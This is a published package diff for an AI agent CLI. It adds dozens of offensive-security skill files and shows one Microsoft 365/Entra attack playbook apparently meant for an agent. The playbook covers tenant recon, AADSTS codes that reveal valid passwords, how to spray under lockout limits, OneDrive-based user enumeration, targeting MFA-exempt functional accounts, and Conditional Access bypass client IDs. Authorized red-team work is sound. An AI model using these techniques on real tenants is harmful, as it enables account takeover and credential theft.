@hostclubeos/miraos 0.0.5-beta → 0.0.7-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-JC4KGTLW.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-4IVYVCCU.js → chunk-3NB3FFLR.js} +1 -1
  111. package/chunks/{chunk-XZNF4YNN.js → chunk-5RYDKYIR.js} +1 -1
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-67PM7M5R.js} +1 -1
  113. package/chunks/{chunk-D3YOXHQF.js → chunk-6T25QVBX.js} +1 -1
  114. package/chunks/{chunk-NYM67KKZ.js → chunk-7SAR6NXA.js} +1 -1
  115. package/chunks/{chunk-RKFNQQNA.js → chunk-BSLIVO6O.js} +1 -1
  116. package/chunks/{chunk-MQWKOOSR.js → chunk-DF6TBGS2.js} +1 -1
  117. package/chunks/{chunk-2TDRP3IX.js → chunk-G35E5UB3.js} +1 -1
  118. package/chunks/{chunk-2GVKPBW5.js → chunk-GN7ODRDE.js} +1 -1
  119. package/chunks/{chunk-PXBJPUGN.js → chunk-H2QXWIRZ.js} +1 -1
  120. package/chunks/{chunk-FRADUGRC.js → chunk-JDABSS6M.js} +1 -1
  121. package/chunks/{chunk-QEIX42MZ.js → chunk-JJQJFMPL.js} +1 -1
  122. package/chunks/{chunk-FXANOHXI.js → chunk-MMGNOY3U.js} +3 -3
  123. package/chunks/{chunk-744QTJR2.js → chunk-N7WQH6L4.js} +2 -2
  124. package/chunks/{chunk-SK3QOQR4.js → chunk-PSSJDUZB.js} +1 -1
  125. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  126. package/chunks/{chunk-N4RIISOE.js → chunk-TXL535SJ.js} +1 -1
  127. package/chunks/{chunk-NKWATWMD.js → chunk-VRAHMOQQ.js} +1 -1
  128. package/chunks/{chunk-62DMHXLL.js → chunk-WCLAVBNR.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-UX574XBB.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-OQWHYDXC.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-R2RFT63S.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-AONDQYFL.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-DRNC6PTL.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-K3GRKDNQ.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-AVNBWFYC.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-JVT5LAWJ.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-2GHQYHGW.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-NDK2B7XI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-P5X5OZUH.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-UHEH433U.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-ARYDETSZ.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HKWGCZF2.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-S7A4FBGP.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-DY6DWFW7.js} +2 -2
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-P2F6MYO6.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-2ZFKVIIW.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,384 @@
1
+ ---
2
+ name: m365-entra-attack
3
+ description: Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from authorized red-team work where ROPC spray surfaced pre-existing lockouts and CA-blocked credentials, plus real-time external attacker activity correlation. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario.
4
+ sources: authorized-engagement, microsoft-docs, AADInternals
5
+ report_count: 1
6
+ ---
7
+
8
+ ## When to use this skill
9
+
10
+ Trigger when:
11
+ - Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
12
+ - You have a list of corporate emails or stealer-leaked creds
13
+ - Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
14
+ - You see `*.onmicrosoft.com`, `*-my.sharepoint.com`, `enterpriseregistration.*`, `enterpriseenrollment.*` in recon
15
+ - Client mentions "Conditional Access", "MFA bypass", "compliant device"
16
+
17
+ DO NOT use for:
18
+ - On-prem-only Active Directory (use a separate AD-attack skill)
19
+ - Service-to-service token attacks (different threat model)
20
+ - Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here
21
+
22
+ ---
23
+
24
+ ## Tenant discovery (msftrecon)
25
+
26
+ ```bash
27
+ # For each owned domain
28
+ msftrecon -d client.example
29
+ msftrecon -d clientltd.example
30
+ msftrecon -d sister-brand-school.example
31
+ ```
32
+
33
+ Key fields in output:
34
+ - **Tenant ID** (different domains may share OR have separate tenants — always test all owned domains)
35
+ - **Federation Information.Namespace Type** = `Managed` (cloud-only, ROPC works) | `Federated` (ADFS, different attack)
36
+ - **SharePoint Detected** (Yes = OneDrive enum vector available)
37
+ - **Communication Services Teams/Skype** (post-auth lateral targets)
38
+ - **Admin Consent Endpoint accessible** (consent-phishing surface)
39
+
40
+ **Red flag:** if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
41
+
42
+ ---
43
+
44
+ ## AADSTS code reference (memorize)
45
+
46
+ | AADSTS | Meaning | Lockout impact | What to do |
47
+ |---|---|---|---|
48
+ | 50034 | User does not exist | None | Skip; remove from spray list |
49
+ | 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
50
+ | 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
51
+ | 53003 | CA blocked token issuance | +1 attempt counter | **PASSWORD VALID** — STOP, password is correct |
52
+ | 50076 | MFA required | +1 attempt counter | **PASSWORD VALID** — second factor needed |
53
+ | 50079 | Strong auth required | +1 attempt counter | **PASSWORD VALID** — same as 50076 |
54
+ | 50158 | External auth required | +1 attempt counter | **PASSWORD VALID** — federated MFA |
55
+ | 530003 | Device-state required | +1 attempt counter | **PASSWORD VALID** — needs compliant device |
56
+ | 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
57
+ | 700016 | App not in tenant | None | User in different tenant — adjust target |
58
+ | 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
59
+
60
+ **Critical insight:** any code in {53003, 50076, 50079, 50158, 530003} means **the password is correct** — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
61
+
62
+ ---
63
+
64
+ ## Smart Lockout math (the cap discipline)
65
+
66
+ **Microsoft default policy:**
67
+ - 10 failed sign-ins in 10 minutes → 1-minute lockout
68
+ - 20 failed sign-ins → progressively longer lockouts (exponential backoff)
69
+ - Counter shared across **ALL auth flows** (ROPC + SAML + IMAP + EWS + SMTP + device-code)
70
+
71
+ **Engagement discipline:**
72
+ - Hard cap: ≤2 password attempts per user **lifetime per engagement** (some engagements: 1)
73
+ - State file with atomic writes — never let two test runs race the counter
74
+ - Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
75
+
76
+ **Mathematical guarantee:** with 1 attempt per user, **you cannot cause Smart Lockout** (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see `mid-engagement-ir-detection` skill).
77
+
78
+ ---
79
+
80
+ ## User enumeration — vectors + hardening status (May 2026)
81
+
82
+ ### ❌ HARDENED (no longer differential)
83
+
84
+ ```http
85
+ GET /getuserrealm.srf?login=<email>&xml=1
86
+ ```
87
+ Returns identical XML for any email matching tenant's owned domain. **Tenant-level only, not user-level.**
88
+
89
+ ```http
90
+ POST /common/GetCredentialType
91
+ {"username":"<email>", "isOtherIdpSupported":true, ...}
92
+ ```
93
+ Returns `AADSTS1659001` (missing flowToken) without proper session — can't enumerate.
94
+
95
+ ```http
96
+ GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
97
+ ```
98
+ Returns identical 200 + same JSON body for any address. Hardened ~2024.
99
+
100
+ ### ✅ STILL WORKS (May 2026 — track shelf life)
101
+
102
+ **OneDrive personal-site differential:**
103
+ ```http
104
+ GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
105
+ Host: <tenant>-my.sharepoint.com
106
+ ```
107
+ - **302 → user EXISTS** (auth-required redirect to Authenticate.aspx)
108
+ - **404 → user does NOT exist** (404 FILE NOT FOUND)
109
+ - ZERO authentication attempt → ZERO lockout impact
110
+ - Bonus: `Sprequestduration` header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
111
+
112
+ **Caveats:**
113
+ - Only works if SharePoint is provisioned for the tenant (check msftrecon `SharePoint Detected: Yes`)
114
+ - Microsoft is hardening these endpoints over time — re-verify before relying on it
115
+ - Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
116
+
117
+ **2026-05-17 re-verification (authorized-engagement revalidation):** The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.
118
+
119
+ **Killer use case: license differential = account-class signal.** Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
120
+
121
+ | OneDrive | ROPC | Classification |
122
+ |---|---|---|
123
+ | 200 | AADSTS50076 (MFA req) or 50126 | **Licensed regular user** (real employee, MFA enforced) |
124
+ | 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
125
+ | 404 | AADSTS50126 | **Shared mailbox / functional / service account** (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
126
+ | 404 | AADSTS50034 | Doesn't exist in tenant |
127
+ | 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
128
+
129
+ The OneDrive-404 + ROPC-50126 combination is **the signal for "functional account that might bypass MFA"** — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified `noreply@`, `purchase@`, `accounts@`, `postmaster@`, `transport@` as functional-account candidates (typical for any conglomerate tenant).
130
+
131
+ **ROPC AADSTS50034 / AADSTS50126 differential:**
132
+ - AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
133
+ - AADSTS50126 (wrong password) DOES increment
134
+ - So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)
135
+
136
+ ---
137
+
138
+ ## Conditional Access bypass options (most blocked, document anyway)
139
+
140
+ | Vector | Status (2026) | Notes |
141
+ |---|---|---|
142
+ | Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try `1b730954-1685-4b74-9bfd-dac224a7b894` (Graph PS), `04b07795-8ddb-461a-bbee-02f9e1bf7b46` (Azure CLI), `d3590ed6-52b3-4102-aeff-aad2292ab01c` (Office) |
143
+ | Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
144
+ | EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
145
+ | FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
146
+ | Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
147
+ | Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
148
+ | AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
149
+ | FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
150
